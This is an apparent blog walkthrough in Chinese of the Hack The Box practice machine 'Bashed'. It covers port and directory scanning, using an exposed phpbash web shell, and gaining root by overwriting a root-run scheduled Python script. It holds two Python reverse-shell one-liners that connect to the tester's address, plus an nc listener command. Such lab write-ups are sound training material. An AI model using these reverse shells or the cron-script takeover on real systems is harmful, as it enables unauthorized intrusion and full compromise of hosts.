HTB-Bashed

由 admin 发布

靶机描述

清单

  • 信息搜集

    • nmap
    • dirsearch
    • 未受到保护的危险php文件
  • 提权

    • sudo -l
    • 定时脚本

信息搜集

靶机IP

image-20210228185455631

端口扫描

nmap 10.10.10.68

Not shown: 999 closed ports
PORT   STATE SERVICE
80/tcp open  http

80

页面内容如下

image-20210228185650026

介绍了 phpbash https://github.com/Arrexel/phpbash

功能是在 Web 页面里可以像交互式shell 一样进行

我们只需要找到这个位置在哪就能获取简单的shell 了

目录扫描

python3 dirsearch.py -u http://10.10.10.68/ -e php

[17:49:40] 200 -    0B  - /config.php
[17:49:43] 301 -  308B  - /css  ->  http://10.10.10.68/css/
[17:49:46] 301 -  308B  - /dev  ->  http://10.10.10.68/dev/
[17:49:46] 200 -    1KB - /dev/
[17:49:52] 301 -  310B  - /fonts  ->  http://10.10.10.68/fonts/
[17:49:57] 301 -  311B  - /images  ->  http://10.10.10.68/images/
[17:49:58] 200 -    8KB - /index.html
[17:50:01] 301 -  307B  - /js  ->  http://10.10.10.68/js/
[17:50:15] 200 -  939B  - /php/
[17:50:26] 403 -  299B  - /server-status
[17:50:26] 403 -  300B  - /server-status/
[17:50:39] 301 -  312B  - /uploads  ->  http://10.10.10.68/uploads/
[17:50:39] 200 -   14B  - /uploads/

在 /dev 里得到 phpbash 的位置

image-20210228190043485

使用

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

来获取 shell

www-data

得到 www-data 会话

image-20210228190137914

看起来我们可以不需要密码移动到 scriptmanager 用户

scriptmanager

image-20210228190307197

切换至 script 用户

来到根目录下的 scripts 目录

test.py 内容为

scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

目录结构如下

image-20210228190438448

看起来test.py 回以root 权限运行

获取ROOT

1、将 test.py 内容写入

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.26",223));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

2、监听端口

nc -lvp 223

3、等待2分钟

得到 root

image-20210228190626160


暂无评论

发表评论